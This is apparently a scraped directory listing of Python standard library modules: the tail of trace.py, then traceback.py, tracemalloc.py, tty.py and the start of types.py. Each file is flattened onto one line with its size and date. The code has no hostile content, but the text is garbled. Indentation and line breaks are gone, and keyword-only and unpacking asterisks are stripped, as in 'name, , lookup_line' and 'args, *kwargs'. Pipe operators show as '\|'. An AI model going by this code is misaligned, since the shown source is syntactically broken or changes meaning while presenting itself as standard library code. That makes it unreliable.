'code. --file must specify the results file to read, which ' 'must have been created in a previous run with --count ' '--file=FILE') _grp.add_argument('-R', '--no-report', action='store_true', help='Do not generate the coverage report files. ' 'Useful if you want to accumulate over several runs.') grp.add_argument('-f', '--file', help='File to accumulate counts over several runs') grp.add_argument('-C', '--coverdir', help='Directory where the report files go. The coverage report ' 'for <package>.<module> will be written to file ' '<dir>/<package>/<module>.cover') grp.add_argument('-m', '--missing', action='store_true', help='Annotate executable lines that were not executed with ' '">>>>>> "') grp.add_argument('-s', '--summary', action='store_true', help='Write a brief summary for each file to sys.stdout. ' 'Can only be used with --count or --report') grp.add_argument('-g', '--timing', action='store_true', help='Prefix each line with the time since the program started. ' 'Only used while tracing') grp = parser.add_argument_group('Filters', 'Can be specified multiple times') grp.add_argument('--ignore-module', action='append', default=[], help='Ignore the given module(s) and its submodules ' '(if it is a package). Accepts comma separated list of ' 'module names.') grp.add_argument('--ignore-dir', action='append', default=[], help='Ignore files in the given directory ' '(multiple directories can be joined by os.pathsep).') parser.add_argument('filename', nargs='?', help='file to run as main program') parser.add_argument('arguments', nargs=argparse.REMAINDER, help='arguments to the program') opts = parser.parse_args() if opts.ignore_dir: _prefix = sysconfig.get_path("stdlib") _exec_prefix = sysconfig.get_path("platstdlib") def parse_ignore_dir(s): s = os.path.expanduser(os.path.expandvars(s)) s = s.replace('$prefix', _prefix).replace('$exec_prefix', _exec_prefix) return os.path.normpath(s) opts.ignore_module = [mod.strip() for i in opts.ignore_module for mod in i.split(',')] opts.ignore_dir = [parse_ignore_dir(s) for i in opts.ignore_dir for s in i.split(os.pathsep)] if opts.report: if not opts.file: parser.error('-r/--report requires -f/--file') results = CoverageResults(infile=opts.file, outfile=opts.file) return results.write_results(opts.missing, opts.summary, opts.coverdir) if not any([opts.trace, opts.count, opts.listfuncs, opts.trackcalls]): parser.error('must specify one of --trace, --count, --report, ' '--listfuncs, or --trackcalls') if opts.listfuncs and (opts.count or opts.trace): parser.error('cannot specify both --listfuncs and (--trace or --count)') if opts.summary and not opts.count: parser.error('--summary can only be used with --count or --report') if opts.filename is None: parser.error('filename is missing: required with the main options') sys.argv = [opts.filename, *opts.arguments] sys.path[0] = os.path.dirname(opts.filename) t = Trace(opts.count, opts.trace, countfuncs=opts.listfuncs, countcallers=opts.trackcalls, ignoremods=opts.ignore_module, ignoredirs=opts.ignore_dir, infile=opts.file, outfile=opts.file, timing=opts.timing) try: with open(opts.filename) as fp: code = compile(fp.read(), opts.filename, 'exec') # try to emulate __main__ namespace as much as possible globs = { '__file__': opts.filename, '__name__': '__main__', '__package__': None, '__cached__': None, } t.runctx(code, globs, globs) except OSError as err: sys.exit("Cannot run file %r because: %s" % (sys.argv[0], err)) except SystemExit: pass results = t.results() if not opts.no_report: results.write_results(opts.missing, opts.summary, opts.coverdir) if __name__=='__main__': main()	28.23 KB	2024-04-17 17:55
📄 traceback.py """Extract, format and print information about Python stack traces.""" import collections import itertools import linecache import sys __all__ = ['extract_stack', 'extract_tb', 'format_exception', 'format_exception_only', 'format_list', 'format_stack', 'format_tb', 'print_exc', 'format_exc', 'print_exception', 'print_last', 'print_stack', 'print_tb', 'clear_frames', 'FrameSummary', 'StackSummary', 'TracebackException', 'walk_stack', 'walk_tb'] # # Formatting and printing lists of traceback lines. # def print_list(extracted_list, file=None): """Print the list of tuples as returned by extract_tb() or extract_stack() as a formatted stack trace to the given file.""" if file is None: file = sys.stderr for item in StackSummary.from_list(extracted_list).format(): print(item, file=file, end="") def format_list(extracted_list): """Format a list of tuples or FrameSummary objects for printing. Given a list of tuples or FrameSummary objects as returned by extract_tb() or extract_stack(), return a list of strings ready for printing. Each string in the resulting list corresponds to the item with the same index in the argument list. Each string ends in a newline; the strings may contain internal newlines as well, for those items whose source text line is not None. """ return StackSummary.from_list(extracted_list).format() # # Printing and Extracting Tracebacks. # def print_tb(tb, limit=None, file=None): """Print up to 'limit' stack trace entries from the traceback 'tb'. If 'limit' is omitted or None, all entries are printed. If 'file' is omitted or None, the output goes to sys.stderr; otherwise 'file' should be an open file or file-like object with a write() method. """ print_list(extract_tb(tb, limit=limit), file=file) def format_tb(tb, limit=None): """A shorthand for 'format_list(extract_tb(tb, limit))'.""" return extract_tb(tb, limit=limit).format() def extract_tb(tb, limit=None): """ Return a StackSummary object representing a list of pre-processed entries from traceback. This is useful for alternate formatting of stack traces. If 'limit' is omitted or None, all entries are extracted. A pre-processed stack trace entry is a FrameSummary object containing attributes filename, lineno, name, and line representing the information that is usually printed for a stack trace. The line is a string with leading and trailing whitespace stripped; if the source is not available it is None. """ return StackSummary.extract(walk_tb(tb), limit=limit) # # Exception formatting and output. # _cause_message = ( "\nThe above exception was the direct cause " "of the following exception:\n\n") _context_message = ( "\nDuring handling of the above exception, " "another exception occurred:\n\n") def print_exception(etype, value, tb, limit=None, file=None, chain=True): """Print exception up to 'limit' stack trace entries from 'tb' to 'file'. This differs from print_tb() in the following ways: (1) if traceback is not None, it prints a header "Traceback (most recent call last):"; (2) it prints the exception type and value after the stack trace; (3) if type is SyntaxError and value has the appropriate format, it prints the line where the syntax error occurred with a caret on the next line indicating the approximate position of the error. """ # format_exception has ignored etype for some time, and code such as cgitb # passes in bogus values as a result. For compatibility with such code we # ignore it here (rather than in the new TracebackException API). if file is None: file = sys.stderr for line in TracebackException( type(value), value, tb, limit=limit).format(chain=chain): print(line, file=file, end="") def format_exception(etype, value, tb, limit=None, chain=True): """Format a stack trace and the exception information. The arguments have the same meaning as the corresponding arguments to print_exception(). The return value is a list of strings, each ending in a newline and some containing internal newlines. When these lines are concatenated and printed, exactly the same text is printed as does print_exception(). """ # format_exception has ignored etype for some time, and code such as cgitb # passes in bogus values as a result. For compatibility with such code we # ignore it here (rather than in the new TracebackException API). return list(TracebackException( type(value), value, tb, limit=limit).format(chain=chain)) def format_exception_only(etype, value): """Format the exception part of a traceback. The arguments are the exception type and value such as given by sys.last_type and sys.last_value. The return value is a list of strings, each ending in a newline. Normally, the list contains a single string; however, for SyntaxError exceptions, it contains several lines that (when printed) display detailed information about where the syntax error occurred. The message indicating which exception occurred is always the last string in the list. """ return list(TracebackException(etype, value, None).format_exception_only()) # -- not official API but folk probably use these two functions. def _format_final_exc_line(etype, value): valuestr = _some_str(value) if value is None or not valuestr: line = "%s\n" % etype else: line = "%s: %s\n" % (etype, valuestr) return line def _some_str(value): try: return str(value) except: return '<unprintable %s object>' % type(value).__name__ # -- def print_exc(limit=None, file=None, chain=True): """Shorthand for 'print_exception(sys.exc_info(), limit, file)'.""" print_exception(sys.exc_info(), limit=limit, file=file, chain=chain) def format_exc(limit=None, chain=True): """Like print_exc() but return a string.""" return "".join(format_exception(sys.exc_info(), limit=limit, chain=chain)) def print_last(limit=None, file=None, chain=True): """This is a shorthand for 'print_exception(sys.last_type, sys.last_value, sys.last_traceback, limit, file)'.""" if not hasattr(sys, "last_type"): raise ValueError("no last exception") print_exception(sys.last_type, sys.last_value, sys.last_traceback, limit, file, chain) # # Printing and Extracting Stacks. # def print_stack(f=None, limit=None, file=None): """Print a stack trace from its invocation point. The optional 'f' argument can be used to specify an alternate stack frame at which to start. The optional 'limit' and 'file' arguments have the same meaning as for print_exception(). """ if f is None: f = sys._getframe().f_back print_list(extract_stack(f, limit=limit), file=file) def format_stack(f=None, limit=None): """Shorthand for 'format_list(extract_stack(f, limit))'.""" if f is None: f = sys._getframe().f_back return format_list(extract_stack(f, limit=limit)) def extract_stack(f=None, limit=None): """Extract the raw traceback from the current stack frame. The return value has the same format as for extract_tb(). The optional 'f' and 'limit' arguments have the same meaning as for print_stack(). Each item in the list is a quadruple (filename, line number, function name, text), and the entries are in order from oldest to newest stack frame. """ if f is None: f = sys._getframe().f_back stack = StackSummary.extract(walk_stack(f), limit=limit) stack.reverse() return stack def clear_frames(tb): "Clear all references to local variables in the frames of a traceback." while tb is not None: try: tb.tb_frame.clear() except RuntimeError: # Ignore the exception raised if the frame is still executing. pass tb = tb.tb_next class FrameSummary: """A single frame from a traceback. - :attr:`filename` The filename for the frame. - :attr:`lineno` The line within filename for the frame that was active when the frame was captured. - :attr:`name` The name of the function or method that was executing when the frame was captured. - :attr:`line` The text from the linecache module for the of code that was running when the frame was captured. - :attr:`locals` Either None if locals were not supplied, or a dict mapping the name to the repr() of the variable. """ __slots__ = ('filename', 'lineno', 'name', '_line', 'locals') def __init__(self, filename, lineno, name, , lookup_line=True, locals=None, line=None): """Construct a FrameSummary. :param lookup_line: If True, `linecache` is consulted for the source code line. Otherwise, the line will be looked up when first needed. :param locals: If supplied the frame locals, which will be captured as object representations. :param line: If provided, use this instead of looking up the line in the linecache. """ self.filename = filename self.lineno = lineno self.name = name self._line = line if lookup_line: self.line self.locals = {k: repr(v) for k, v in locals.items()} if locals else None def __eq__(self, other): if isinstance(other, FrameSummary): return (self.filename == other.filename and self.lineno == other.lineno and self.name == other.name and self.locals == other.locals) if isinstance(other, tuple): return (self.filename, self.lineno, self.name, self.line) == other return NotImplemented def __getitem__(self, pos): return (self.filename, self.lineno, self.name, self.line)[pos] def __iter__(self): return iter([self.filename, self.lineno, self.name, self.line]) def __repr__(self): return "<FrameSummary file {filename}, line {lineno} in {name}>".format( filename=self.filename, lineno=self.lineno, name=self.name) @property def line(self): if self._line is None: self._line = linecache.getline(self.filename, self.lineno).strip() return self._line def walk_stack(f): """Walk a stack yielding the frame and line number for each frame. This will follow f.f_back from the given frame. If no frame is given, the current stack is used. Usually used with StackSummary.extract. """ if f is None: f = sys._getframe().f_back.f_back while f is not None: yield f, f.f_lineno f = f.f_back def walk_tb(tb): """Walk a traceback yielding the frame and line number for each frame. This will follow tb.tb_next (and thus is in the opposite order to walk_stack). Usually used with StackSummary.extract. """ while tb is not None: yield tb.tb_frame, tb.tb_lineno tb = tb.tb_next _RECURSIVE_CUTOFF = 3 # Also hardcoded in traceback.c. class StackSummary(list): """A stack of frames.""" @classmethod def extract(klass, frame_gen, , limit=None, lookup_lines=True, capture_locals=False): """Create a StackSummary from a traceback or stack object. :param frame_gen: A generator that yields (frame, lineno) tuples to include in the stack. :param limit: None to include all frames or the number of frames to include. :param lookup_lines: If True, lookup lines for each frame immediately, otherwise lookup is deferred until the frame is rendered. :param capture_locals: If True, the local variables from each frame will be captured as object representations into the FrameSummary. """ if limit is None: limit = getattr(sys, 'tracebacklimit', None) if limit is not None and limit < 0: limit = 0 if limit is not None: if limit >= 0: frame_gen = itertools.islice(frame_gen, limit) else: frame_gen = collections.deque(frame_gen, maxlen=-limit) result = klass() fnames = set() for f, lineno in frame_gen: co = f.f_code filename = co.co_filename name = co.co_name fnames.add(filename) linecache.lazycache(filename, f.f_globals) # Must defer line lookups until we have called checkcache. if capture_locals: f_locals = f.f_locals else: f_locals = None result.append(FrameSummary( filename, lineno, name, lookup_line=False, locals=f_locals)) for filename in fnames: linecache.checkcache(filename) # If immediate lookup was desired, trigger lookups now. if lookup_lines: for f in result: f.line return result @classmethod def from_list(klass, a_list): """ Create a StackSummary object from a supplied list of FrameSummary objects or old-style list of tuples. """ # While doing a fast-path check for isinstance(a_list, StackSummary) is # appealing, idlelib.run.cleanup_traceback and other similar code may # break this by making arbitrary frames plain tuples, so we need to # check on a frame by frame basis. result = StackSummary() for frame in a_list: if isinstance(frame, FrameSummary): result.append(frame) else: filename, lineno, name, line = frame result.append(FrameSummary(filename, lineno, name, line=line)) return result def format(self): """Format the stack ready for printing. Returns a list of strings ready for printing. Each string in the resulting list corresponds to a single frame from the stack. Each string ends in a newline; the strings may contain internal newlines as well, for those items with source text lines. For long sequences of the same frame and line, the first few repetitions are shown, followed by a summary line stating the exact number of further repetitions. """ result = [] last_file = None last_line = None last_name = None count = 0 for frame in self: if (last_file is None or last_file != frame.filename or last_line is None or last_line != frame.lineno or last_name is None or last_name != frame.name): if count > _RECURSIVE_CUTOFF: count -= _RECURSIVE_CUTOFF result.append( f' [Previous line repeated {count} more ' f'time{"s" if count > 1 else ""}]\n' ) last_file = frame.filename last_line = frame.lineno last_name = frame.name count = 0 count += 1 if count > _RECURSIVE_CUTOFF: continue row = [] row.append(' File "{}", line {}, in {}\n'.format( frame.filename, frame.lineno, frame.name)) if frame.line: row.append(' {}\n'.format(frame.line.strip())) if frame.locals: for name, value in sorted(frame.locals.items()): row.append(' {name} = {value}\n'.format(name=name, value=value)) result.append(''.join(row)) if count > _RECURSIVE_CUTOFF: count -= _RECURSIVE_CUTOFF result.append( f' [Previous line repeated {count} more ' f'time{"s" if count > 1 else ""}]\n' ) return result class TracebackException: """An exception ready for rendering. The traceback module captures enough attributes from the original exception to this intermediary form to ensure that no references are held, while still being able to fully print or format it. Use `from_exception` to create TracebackException instances from exception objects, or the constructor to create TracebackException instances from individual components. - :attr:`__cause__` A TracebackException of the original __cause__. - :attr:`__context__` A TracebackException of the original __context__. - :attr:`__suppress_context__` The __suppress_context__* value from the original exception. - :attr:`stack` A `StackSummary` representing the traceback. - :attr:`exc_type` The class of the original traceback. - :attr:`filename` For syntax errors - the filename where the error occurred. - :attr:`lineno` For syntax errors - the linenumber where the error occurred. - :attr:`text` For syntax errors - the text where the error occurred. - :attr:`offset` For syntax errors - the offset into the text where the error occurred. - :attr:`msg` For syntax errors - the compiler error message. """ def __init__(self, exc_type, exc_value, exc_traceback, , limit=None, lookup_lines=True, capture_locals=False, _seen=None): # NB: we need to accept exc_traceback, exc_value, exc_traceback to # permit backwards compat with the existing API, otherwise we # need stub thunk objects just to glue it together. # Handle loops in __cause__ or __context__. if _seen is None: _seen = set() _seen.add(id(exc_value)) # Gracefully handle (the way Python 2.4 and earlier did) the case of # being called with no type or value (None, None, None). if (exc_value and exc_value.__cause__ is not None and id(exc_value.__cause__) not in _seen): cause = TracebackException( type(exc_value.__cause__), exc_value.__cause__, exc_value.__cause__.__traceback__, limit=limit, lookup_lines=False, capture_locals=capture_locals, _seen=_seen) else: cause = None if (exc_value and exc_value.__context__ is not None and id(exc_value.__context__) not in _seen): context = TracebackException( type(exc_value.__context__), exc_value.__context__, exc_value.__context__.__traceback__, limit=limit, lookup_lines=False, capture_locals=capture_locals, _seen=_seen) else: context = None self.exc_traceback = exc_traceback self.__cause__ = cause self.__context__ = context self.__suppress_context__ = \ exc_value.__suppress_context__ if exc_value else False # TODO: locals. self.stack = StackSummary.extract( walk_tb(exc_traceback), limit=limit, lookup_lines=lookup_lines, capture_locals=capture_locals) self.exc_type = exc_type # Capture now to permit freeing resources: only complication is in the # unofficial API _format_final_exc_line self._str = _some_str(exc_value) if exc_type and issubclass(exc_type, SyntaxError): # Handle SyntaxError's specially self.filename = exc_value.filename self.lineno = str(exc_value.lineno) self.text = exc_value.text self.offset = exc_value.offset self.msg = exc_value.msg if lookup_lines: self._load_lines() @classmethod def from_exception(cls, exc, args, *kwargs): """Create a TracebackException from an exception.""" return cls(type(exc), exc, exc.__traceback__, args, *kwargs) def _load_lines(self): """Private API. force all lines in the stack to be loaded.""" for frame in self.stack: frame.line if self.__context__: self.__context__._load_lines() if self.__cause__: self.__cause__._load_lines() def __eq__(self, other): return self.__dict__ == other.__dict__ def __str__(self): return self._str def format_exception_only(self): """Format the exception part of the traceback. The return value is a generator of strings, each ending in a newline. Normally, the generator emits a single string; however, for SyntaxError exceptions, it emits several lines that (when printed) display detailed information about where the syntax error occurred. The message indicating which exception occurred is always the last string in the output. """ if self.exc_type is None: yield _format_final_exc_line(None, self._str) return stype = self.exc_type.__qualname__ smod = self.exc_type.__module__ if smod not in ("__main__", "builtins"): stype = smod + '.' + stype if not issubclass(self.exc_type, SyntaxError): yield _format_final_exc_line(stype, self._str) return # It was a syntax error; show exactly where the problem was found. filename = self.filename or "<string>" lineno = str(self.lineno) or '?' yield ' File "{}", line {}\n'.format(filename, lineno) badline = self.text offset = self.offset if badline is not None: yield ' {}\n'.format(badline.strip()) if offset is not None: caretspace = badline.rstrip('\n') offset = min(len(caretspace), offset) - 1 caretspace = caretspace[:offset].lstrip() # non-space whitespace (likes tabs) must be kept for alignment caretspace = ((c.isspace() and c or ' ') for c in caretspace) yield ' {}^\n'.format(''.join(caretspace)) msg = self.msg or "<no detail available>" yield "{}: {}\n".format(stype, msg) def format(self, , chain=True): """Format the exception. If chain is not True, __cause__ and __context__ will not be formatted. The return value is a generator of strings, each ending in a newline and some containing internal newlines. `print_exception` is a wrapper around this method which just prints the lines to a file. The message indicating which exception occurred is always the last string in the output. """ if chain: if self.__cause__ is not None: yield from self.__cause__.format(chain=chain) yield _cause_message elif (self.__context__ is not None and not self.__suppress_context__): yield from self.__context__.format(chain=chain) yield _context_message if self.exc_traceback is not None: yield 'Traceback (most recent call last):\n' yield from self.stack.format() yield from self.format_exception_only()	22.89 KB	2024-04-17 17:55
📄 tracemalloc.py from collections.abc import Sequence, Iterable from functools import total_ordering import fnmatch import linecache import os.path import pickle # Import types and functions implemented in C from _tracemalloc import * from _tracemalloc import _get_object_traceback, _get_traces def _format_size(size, sign): for unit in ('B', 'KiB', 'MiB', 'GiB', 'TiB'): if abs(size) < 100 and unit != 'B': # 3 digits (xx.x UNIT) if sign: return "%+.1f %s" % (size, unit) else: return "%.1f %s" % (size, unit) if abs(size) < 10 * 1024 or unit == 'TiB': # 4 or 5 digits (xxxx UNIT) if sign: return "%+.0f %s" % (size, unit) else: return "%.0f %s" % (size, unit) size /= 1024 class Statistic: """ Statistic difference on memory allocations between two Snapshot instance. """ __slots__ = ('traceback', 'size', 'count') def __init__(self, traceback, size, count): self.traceback = traceback self.size = size self.count = count def __hash__(self): return hash((self.traceback, self.size, self.count)) def __eq__(self, other): return (self.traceback == other.traceback and self.size == other.size and self.count == other.count) def __str__(self): text = ("%s: size=%s, count=%i" % (self.traceback, _format_size(self.size, False), self.count)) if self.count: average = self.size / self.count text += ", average=%s" % _format_size(average, False) return text def __repr__(self): return ('<Statistic traceback=%r size=%i count=%i>' % (self.traceback, self.size, self.count)) def _sort_key(self): return (self.size, self.count, self.traceback) class StatisticDiff: """ Statistic difference on memory allocations between an old and a new Snapshot instance. """ __slots__ = ('traceback', 'size', 'size_diff', 'count', 'count_diff') def __init__(self, traceback, size, size_diff, count, count_diff): self.traceback = traceback self.size = size self.size_diff = size_diff self.count = count self.count_diff = count_diff def __hash__(self): return hash((self.traceback, self.size, self.size_diff, self.count, self.count_diff)) def __eq__(self, other): return (self.traceback == other.traceback and self.size == other.size and self.size_diff == other.size_diff and self.count == other.count and self.count_diff == other.count_diff) def __str__(self): text = ("%s: size=%s (%s), count=%i (%+i)" % (self.traceback, _format_size(self.size, False), _format_size(self.size_diff, True), self.count, self.count_diff)) if self.count: average = self.size / self.count text += ", average=%s" % _format_size(average, False) return text def __repr__(self): return ('<StatisticDiff traceback=%r size=%i (%+i) count=%i (%+i)>' % (self.traceback, self.size, self.size_diff, self.count, self.count_diff)) def _sort_key(self): return (abs(self.size_diff), self.size, abs(self.count_diff), self.count, self.traceback) def _compare_grouped_stats(old_group, new_group): statistics = [] for traceback, stat in new_group.items(): previous = old_group.pop(traceback, None) if previous is not None: stat = StatisticDiff(traceback, stat.size, stat.size - previous.size, stat.count, stat.count - previous.count) else: stat = StatisticDiff(traceback, stat.size, stat.size, stat.count, stat.count) statistics.append(stat) for traceback, stat in old_group.items(): stat = StatisticDiff(traceback, 0, -stat.size, 0, -stat.count) statistics.append(stat) return statistics @total_ordering class Frame: """ Frame of a traceback. """ __slots__ = ("_frame",) def __init__(self, frame): # frame is a tuple: (filename: str, lineno: int) self._frame = frame @property def filename(self): return self._frame[0] @property def lineno(self): return self._frame[1] def __eq__(self, other): return (self._frame == other._frame) def __lt__(self, other): return (self._frame < other._frame) def __hash__(self): return hash(self._frame) def __str__(self): return "%s:%s" % (self.filename, self.lineno) def __repr__(self): return "<Frame filename=%r lineno=%r>" % (self.filename, self.lineno) @total_ordering class Traceback(Sequence): """ Sequence of Frame instances sorted from the oldest frame to the most recent frame. """ __slots__ = ("_frames",) def __init__(self, frames): Sequence.__init__(self) # frames is a tuple of frame tuples: see Frame constructor for the # format of a frame tuple; it is reversed, because _tracemalloc # returns frames sorted from most recent to oldest, but the # Python API expects oldest to most recent self._frames = tuple(reversed(frames)) def __len__(self): return len(self._frames) def __getitem__(self, index): if isinstance(index, slice): return tuple(Frame(trace) for trace in self._frames[index]) else: return Frame(self._frames[index]) def __contains__(self, frame): return frame._frame in self._frames def __hash__(self): return hash(self._frames) def __eq__(self, other): return (self._frames == other._frames) def __lt__(self, other): return (self._frames < other._frames) def __str__(self): return str(self[0]) def __repr__(self): return "<Traceback %r>" % (tuple(self),) def format(self, limit=None, most_recent_first=False): lines = [] if limit is not None: if limit > 0: frame_slice = self[-limit:] else: frame_slice = self[:limit] else: frame_slice = self if most_recent_first: frame_slice = reversed(frame_slice) for frame in frame_slice: lines.append(' File "%s", line %s' % (frame.filename, frame.lineno)) line = linecache.getline(frame.filename, frame.lineno).strip() if line: lines.append(' %s' % line) return lines def get_object_traceback(obj): """ Get the traceback where the Python object obj was allocated. Return a Traceback instance. Return None if the tracemalloc module is not tracing memory allocations or did not trace the allocation of the object. """ frames = _get_object_traceback(obj) if frames is not None: return Traceback(frames) else: return None class Trace: """ Trace of a memory block. """ __slots__ = ("_trace",) def __init__(self, trace): # trace is a tuple: (domain: int, size: int, traceback: tuple). # See Traceback constructor for the format of the traceback tuple. self._trace = trace @property def domain(self): return self._trace[0] @property def size(self): return self._trace[1] @property def traceback(self): return Traceback(self._trace[2]) def __eq__(self, other): return (self._trace == other._trace) def __hash__(self): return hash(self._trace) def __str__(self): return "%s: %s" % (self.traceback, _format_size(self.size, False)) def __repr__(self): return ("<Trace domain=%s size=%s, traceback=%r>" % (self.domain, _format_size(self.size, False), self.traceback)) class _Traces(Sequence): def __init__(self, traces): Sequence.__init__(self) # traces is a tuple of trace tuples: see Trace constructor self._traces = traces def __len__(self): return len(self._traces) def __getitem__(self, index): if isinstance(index, slice): return tuple(Trace(trace) for trace in self._traces[index]) else: return Trace(self._traces[index]) def __contains__(self, trace): return trace._trace in self._traces def __eq__(self, other): return (self._traces == other._traces) def __repr__(self): return "<Traces len=%s>" % len(self) def _normalize_filename(filename): filename = os.path.normcase(filename) if filename.endswith('.pyc'): filename = filename[:-1] return filename class BaseFilter: def __init__(self, inclusive): self.inclusive = inclusive def _match(self, trace): raise NotImplementedError class Filter(BaseFilter): def __init__(self, inclusive, filename_pattern, lineno=None, all_frames=False, domain=None): super().__init__(inclusive) self.inclusive = inclusive self._filename_pattern = _normalize_filename(filename_pattern) self.lineno = lineno self.all_frames = all_frames self.domain = domain @property def filename_pattern(self): return self._filename_pattern def _match_frame_impl(self, filename, lineno): filename = _normalize_filename(filename) if not fnmatch.fnmatch(filename, self._filename_pattern): return False if self.lineno is None: return True else: return (lineno == self.lineno) def _match_frame(self, filename, lineno): return self._match_frame_impl(filename, lineno) ^ (not self.inclusive) def _match_traceback(self, traceback): if self.all_frames: if any(self._match_frame_impl(filename, lineno) for filename, lineno in traceback): return self.inclusive else: return (not self.inclusive) else: filename, lineno = traceback[0] return self._match_frame(filename, lineno) def _match(self, trace): domain, size, traceback = trace res = self._match_traceback(traceback) if self.domain is not None: if self.inclusive: return res and (domain == self.domain) else: return res or (domain != self.domain) return res class DomainFilter(BaseFilter): def __init__(self, inclusive, domain): super().__init__(inclusive) self._domain = domain @property def domain(self): return self._domain def _match(self, trace): domain, size, traceback = trace return (domain == self.domain) ^ (not self.inclusive) class Snapshot: """ Snapshot of traces of memory blocks allocated by Python. """ def __init__(self, traces, traceback_limit): # traces is a tuple of trace tuples: see _Traces constructor for # the exact format self.traces = _Traces(traces) self.traceback_limit = traceback_limit def dump(self, filename): """ Write the snapshot into a file. """ with open(filename, "wb") as fp: pickle.dump(self, fp, pickle.HIGHEST_PROTOCOL) @staticmethod def load(filename): """ Load a snapshot from a file. """ with open(filename, "rb") as fp: return pickle.load(fp) def _filter_trace(self, include_filters, exclude_filters, trace): if include_filters: if not any(trace_filter._match(trace) for trace_filter in include_filters): return False if exclude_filters: if any(not trace_filter._match(trace) for trace_filter in exclude_filters): return False return True def filter_traces(self, filters): """ Create a new Snapshot instance with a filtered traces sequence, filters is a list of Filter or DomainFilter instances. If filters is an empty list, return a new Snapshot instance with a copy of the traces. """ if not isinstance(filters, Iterable): raise TypeError("filters must be a list of filters, not %s" % type(filters).__name__) if filters: include_filters = [] exclude_filters = [] for trace_filter in filters: if trace_filter.inclusive: include_filters.append(trace_filter) else: exclude_filters.append(trace_filter) new_traces = [trace for trace in self.traces._traces if self._filter_trace(include_filters, exclude_filters, trace)] else: new_traces = self.traces._traces.copy() return Snapshot(new_traces, self.traceback_limit) def _group_by(self, key_type, cumulative): if key_type not in ('traceback', 'filename', 'lineno'): raise ValueError("unknown key_type: %r" % (key_type,)) if cumulative and key_type not in ('lineno', 'filename'): raise ValueError("cumulative mode cannot by used " "with key type %r" % key_type) stats = {} tracebacks = {} if not cumulative: for trace in self.traces._traces: domain, size, trace_traceback = trace try: traceback = tracebacks[trace_traceback] except KeyError: if key_type == 'traceback': frames = trace_traceback elif key_type == 'lineno': frames = trace_traceback[:1] else: # key_type == 'filename': frames = ((trace_traceback[0][0], 0),) traceback = Traceback(frames) tracebacks[trace_traceback] = traceback try: stat = stats[traceback] stat.size += size stat.count += 1 except KeyError: stats[traceback] = Statistic(traceback, size, 1) else: # cumulative statistics for trace in self.traces._traces: domain, size, trace_traceback = trace for frame in trace_traceback: try: traceback = tracebacks[frame] except KeyError: if key_type == 'lineno': frames = (frame,) else: # key_type == 'filename': frames = ((frame[0], 0),) traceback = Traceback(frames) tracebacks[frame] = traceback try: stat = stats[traceback] stat.size += size stat.count += 1 except KeyError: stats[traceback] = Statistic(traceback, size, 1) return stats def statistics(self, key_type, cumulative=False): """ Group statistics by key_type. Return a sorted list of Statistic instances. """ grouped = self._group_by(key_type, cumulative) statistics = list(grouped.values()) statistics.sort(reverse=True, key=Statistic._sort_key) return statistics def compare_to(self, old_snapshot, key_type, cumulative=False): """ Compute the differences with an old snapshot old_snapshot. Get statistics as a sorted list of StatisticDiff instances, grouped by group_by. """ new_group = self._group_by(key_type, cumulative) old_group = old_snapshot._group_by(key_type, cumulative) statistics = _compare_grouped_stats(old_group, new_group) statistics.sort(reverse=True, key=StatisticDiff._sort_key) return statistics def take_snapshot(): """ Take a snapshot of traces of memory blocks allocated by Python. """ if not is_tracing(): raise RuntimeError("the tracemalloc module must be tracing memory " "allocations to take a snapshot") traces = _get_traces() traceback_limit = get_traceback_limit() return Snapshot(traces, traceback_limit)	16.68 KB	2024-04-17 17:55
📄 tty.py """Terminal utilities.""" # Author: Steen Lumholt. from termios import * __all__ = ["setraw", "setcbreak"] # Indexes for termios list. IFLAG = 0 OFLAG = 1 CFLAG = 2 LFLAG = 3 ISPEED = 4 OSPEED = 5 CC = 6 def setraw(fd, when=TCSAFLUSH): """Put terminal into a raw mode.""" mode = tcgetattr(fd) mode[IFLAG] = mode[IFLAG] & ~(BRKINT \| ICRNL \| INPCK \| ISTRIP \| IXON) mode[OFLAG] = mode[OFLAG] & ~(OPOST) mode[CFLAG] = mode[CFLAG] & ~(CSIZE \| PARENB) mode[CFLAG] = mode[CFLAG] \| CS8 mode[LFLAG] = mode[LFLAG] & ~(ECHO \| ICANON \| IEXTEN \| ISIG) mode[CC][VMIN] = 1 mode[CC][VTIME] = 0 tcsetattr(fd, when, mode) def setcbreak(fd, when=TCSAFLUSH): """Put terminal into a cbreak mode.""" mode = tcgetattr(fd) mode[LFLAG] = mode[LFLAG] & ~(ECHO \| ICANON) mode[CC][VMIN] = 1 mode[CC][VTIME] = 0 tcsetattr(fd, when, mode)	879 B	2024-04-17 17:55
📄 types.py """ Define names for built-in types that aren't directly accessible as a builtin. """ import sys # Iterators in Python aren't a matter of type but of protocol. A large # and changing number of builtin types implement some flavor of # iterator. Don't check the type! Use hasattr to check for both # "__iter__" and "__next__" attributes instead. def _f(): pass FunctionType = type(_f) LambdaType = type(lambda: None) # Same as FunctionType CodeType = type(_f.__code__) MappingProxyType = type(type.__dict__) SimpleNamespace = type(sys.implementation) def _g(): yield 1 GeneratorType = type(_g()) async def _c(): pass _c = _c() CoroutineType = type(_c) _c.close() # Prevent ResourceWarning async def _ag(): yield _ag = _ag() AsyncGeneratorType = type(_ag) class _C: def _m(self): pass MethodType = type(_C()._m) BuiltinFunctionType = type(len) BuiltinMethodType = type([].append) # Same as BuiltinFunctionType WrapperDescriptorType = type(object.__init__) MethodWrapperType = type(object().__str__) MethodDescriptorType = type(str.join) ClassMethodDescriptorType = type(dict.__dict__['fromkeys']) ModuleType = type(sys) try: raise TypeError except TypeError: tb = sys.exc_info()[2] TracebackType = type(tb) FrameType = type(tb.tb_frame) tb = None; del tb # For Jython, the following two types are identical GetSetDescriptorType = type(FunctionType.__code__) MemberDescriptorType = type(FunctionType.__globals__) del sys, _f, _g, _C, _c, _ag # Not for export # Provide a PEP 3115 compliant mechanism for class creation def new_class(name, bases=(), kwds=None, exec_body=None): """Create a class object dynamically using the appropriate metaclass.""" resolved_bases = resolve_bases(bases) meta, ns, kwds = prepare_class(name, resolved_bases, kwds) if exec_body is not None: exec_body(ns) if resolved_bases is not bases: ns['__orig_bases__'] = bases return meta(name, resolved_bases, ns, *kwds) def resolve_bases(bases): """Resolve MRO entries dynamically as specified by PEP 560.""" new_bases = list(bases) updated = False shift = 0 for i, base in enumerate(bases): if isinstance(base, type): continue if not hasattr(base, "__mro_entries__"): continue new_base = base.__mro_entries__(bases) updated = True if not isinstance(new_base, tuple): raise TypeError("__mro_entries__ must return a tuple") else: new_bases[i+shift:i+shift+1] = new_base shift += len(new_base) - 1 if not updated: return bases return tuple(new_bases) def prepare_class(name, bases=(), kwds=None): """Call the __prepare__ method of the appropriate metaclass. Returns 